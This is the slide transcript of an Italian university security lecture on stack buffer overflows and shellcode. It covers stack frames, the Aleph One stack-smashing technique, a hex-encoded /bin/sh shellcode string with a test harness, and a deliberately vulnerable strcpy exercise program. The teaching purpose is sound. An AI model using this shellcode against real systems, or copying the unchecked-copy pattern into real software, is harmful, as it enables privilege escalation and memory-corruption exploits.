Slide
Transcript
Slide
Sicurezza 1 Lezione 7: memory error exploit Situazione • I meccanismi di controllo degli accessi consentono un controllo particolarmente efficace su “chi può fare cosa” in un sistema • Una delle strategie di attacco più efficace per superarli è consistita nell’ottenere certe autorizzazioni per alcuni soggetti (processi) e a runtime modificare il comportamento degli stessi A.A. 2010/2011 2 Corso: Sicurezza 1 © Danilo Bruschi Overwriting of arbitrary memory in the writeable process space with arbitrary data • The holy grail of exploitation is to take control of the instruction pointer of a process • In a two-stage process, first a safed instruction pointer is overwritten and then the program executes a legitimate instruction that transfers control to the attacker-supplied address. We will examine different ways to accomplish this using format string vulnerabilities A.A. 2010/2011 3 Corso: Sicurezza 1 © Danilo Bruschi Obiettivo • Forzare un programma, che possibilmente opera con i diritti di root (administrator), a svolgere delle operazioni che NON è stato programmato a svolgere • Modificare il control flow di un programma, forzando il programma ad eseguire altro codice che sarà eseguito con i diritti di root A.A. 2010/2011 4 Corso: Sicurezza 1 © Danilo Bruschi Buffer overflow Organizzazione della memoria A.A. 2010/2011 6 Corso: Sicurezza 1 © Danilo Bruschi Stack • Uno stack è una zona di memoria Last-In FirstOut (LIFO), molte CPU hanno istruzioni interne per accedere a questa zona di memoria • L istruzione PUSH aggiunge dati sullo stack e la POP li rimuove • Il dato rimosso è sempre l ultimo caricato • Lo stack attivo è quello indirizzato dal registro SS • Il registro ESP contiene sempre l indirizzo dell ultimo dato caricato sullo stack (top of the stack) A.A. 2010/2011 7 Corso: Sicurezza 1 © Danilo Bruschi EBP • Poiché può essere molto facile commettere errori usando il registro ESP per riferirsi ai diversi dati presenti sullo stack, l architettura 80x86 fornisce per questo scopo un ulteriore registro: EBP A.A. 2010/2011 8 Corso: Sicurezza 1 © Danilo Bruschi CALL/RET • Lo stack è usato intensamente per la gestione delle subroutine • L architettura 80x86 fornisce a questo proposito due istruzioni ad hoc • CALL esegue un salto incondizionato ad un sottoprogramma ed effettua sullo stack una push dell indirizzo di ritorno • L istruzione RET esegue la pop di un indirizzo di ritorno ed effettua un salto incondizionato a quest ultimo A.A. 2010/2011 9 Corso: Sicurezza 1 © Danilo Bruschi Variabili locali • Lo stack può anche essere convenientemente usato per memorizzare le variabili locali di un programma. Le variabili non statiche di un programma C sono memorizzate sullo stack • L uso dello stack per le variabili è necessario se: • si vuole scrivere codice rientrante • Per risparmiare memoria, le variabili global o static del C occupano memoria dall inizio dell esecuzione di un programma sino alla sua terminazione A.A. 2010/2011 10 Corso: Sicurezza 1 © Danilo Bruschi Stack A.A. 2010/2011 11 Corso: Sicurezza 1 © Danilo Bruschi Function Call A.A. 2010/2011 12 Corso: Sicurezza 1 © Danilo Bruschi Function Call A.A. 2010/2011 13 Corso: Sicurezza 1 © Danilo Bruschi Esempio: printf • L esecuzione dell istruzione • printf("x = %d\n",x); • Genera il seguente layout di stack A.A. 2010/2011 14 Corso: Sicurezza 1 © Danilo Bruschi Considerazione • Una chiamata di procedura altera il flusso di controllo di un programma, allo stesso modo di un’istruzione di Jump, contrariamente ad una Jump però il controll viene restituito all’istruzione il cui indirizzo è memorizzato nello stack A.A. 2010/2011 15 Corso: Sicurezza 1 © Danilo Bruschi Modificare il flusso di controllo void function() {!char buffer1[4]; ! ! ! !int *ret; ! ! ! !ret = buffer1 + 8; ! ! ! !(*ret) += 8; !} ! ! void main() { !int x = 0; ! ! ! !function(); ! ! ! !x = 1; ! ! ! !printf("%d\n",x); A.A. 2010/2011 16 } ! Corso: Sicurezza 1 © Danilo Bruschi Modificare il flusso di esecuzione A.A. 2010/2011 17 Corso: Sicurezza 1 © Danilo Bruschi Modifying il flusso di controllo A.A. 2010/2011 18 Corso: Sicurezza 1 © Danilo Bruschi Modificare il flusso di controllo A.A. 2010/2011 19 Corso: Sicurezza 1 © Danilo Bruschi Modificare il flusso di controllo A.A. 2010/2011 20 Corso: Sicurezza 1 © Danilo Bruschi Soluzione • On many C implementations it is possible to corrupt the execution stack by writing past the end of an array declared auto in a routine. Code that does this is said to smash the stack, and can cause return from the routine to jump to a random address. This can produce some of the most insidious data-dependent bugs known to mankind. Variants include trash the stack, scribble the stack, mangle the stack … • Written by : Aleph One First published on : Phrack A.A. 2010/2011 21 Corso: Sicurezza 1 © Danilo Bruschi Buffer Overflows void function(char *str) { ! char buffer[8]; ! strcpy(buffer,str); } ! ! void main() ! { ! char large_string[256]; ! int i; ! for( i = 0; i < 255; i++) ! large_string[i] = 'A'; ! function(large_string); ! } ! A.A. 2010/2011 22 Corso: Sicurezza 1 © Danilo Bruschi Buffer Overflows A.A. 2010/2011 23 Corso: Sicurezza 1 © Danilo Bruschi Buffer Overflows A.A. 2010/2011 24 Corso: Sicurezza 1 © Danilo Bruschi Buffer Overflows A.A. 2010/2011 25 Corso: Sicurezza 1 © Danilo Bruschi Buffer Overflows A.A. 2010/2011 26 Corso: Sicurezza 1 © Danilo Bruschi Buffer Overflows A.A. 2010/2011 27 Corso: Sicurezza 1 © Danilo Bruschi Buffer Overflows A.A. 2010/2011 28 Corso: Sicurezza 1 © Danilo Bruschi Buffer Overflows A.A. 2010/2011 29 Corso: Sicurezza 1 © Danilo Bruschi Buffer Overflows A.A. 2010/2011 30 Corso: Sicurezza 1 © Danilo Bruschi Conclusione • Quindi attraverso un buffer overflow siamo in grado di modificare l indirizzo di rientro di una funzione. E quindi il flusso di controllo di un programma. A.A. 2010/2011 31 Corso: Sicurezza 1 © Danilo Bruschi Quindi … • Ora che sappiamo di poter modificare il flusso di controllo di un programma qual è il programma più utile di cui forzare l esecuzione? A.A. 2010/2011 32 Corso: Sicurezza 1 © Danilo Bruschi Quindi ?? • Ma questo programma non è contenuto nel programma che noi vogliamo exploitare? Come possiamo inserire queste istruzioni nel programma da exploitare? A.A. 2010/2011 33 Corso: Sicurezza 1 © Danilo Bruschi Shell code • La risposta è la seguente: • Caricare il codice che vogliamo eseguire in un buffer disponibile, e attraverso l overflow di questo buffer sovrascrivere il return address di modo che lo stesso punti all interno del buffer stesso A.A. 2010/2011 34 Corso: Sicurezza 1 © Danilo Bruschi Cioè: *str Return address modificato S S S S S S S S S A.A. 2010/2011 35 Corso: Sicurezza 1 © Danilo Bruschi Problemi da risolvere • Per realizzare questa tattica dobbiamo risolvere due problemi principali: • codificare il codice eseguibile da inserire sullo stack (shell code) • Riuscire a determinare il suo indirizzo di partenza ed inserirlo al posto del return address A.A. 2010/2011 36 Corso: Sicurezza 1 © Danilo Bruschi Spawning a Shell #include <stdio.h> #include <stdlib.h> void main() { char *name[2]; name[0] = "/bin/sh"; name[1] = NULL; execve(name[0], name, NULL); exit(0); } A.A. 2010/2011 37 Corso: Sicurezza 1 © Danilo Bruschi Shell code ASM A.A. 2010/2011 38 Corso: Sicurezza 1 © Danilo Bruschi Esercizio: Prova Shellcode char shellcode[] = "\xeb\x2a\x5e\xc6\x46\x07\x00\x89\x76\x08\xc7\x46\x0c \x00 \x00\x00\x00\xb8\x0b\x00\x00\x00\x89\xf3\x8d\x4e\x08\x8d \x56\x0c\xcd\x80\xb8\x01\x00\x00\x00\xbb\x00\x00\x00\x00 \xcd\x80\xe8\xd1\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68"; void main() { int *ret; ret = (int *)&ret + 2; (*ret) = (int)shellcode; } A.A. 2010/2011 39 Corso: Sicurezza 1 © Danilo Bruschi Prova Shellcode A.A. 2010/2011 40 Corso: Sicurezza 1 © Danilo Bruschi Testing the Shellcode A.A. 2010/2011 41 Corso: Sicurezza 1 © Danilo Bruschi Schema programma vulnerabile • È possibile effettuare un BOF su questo programma? void main(int argc, char *argv[]) { char buffer[64]; if (argc > 1) strcpy(buffer,argv[1]); } A.A. 2010/2011 42 Corso: Sicurezza 1 © Danilo Bruschi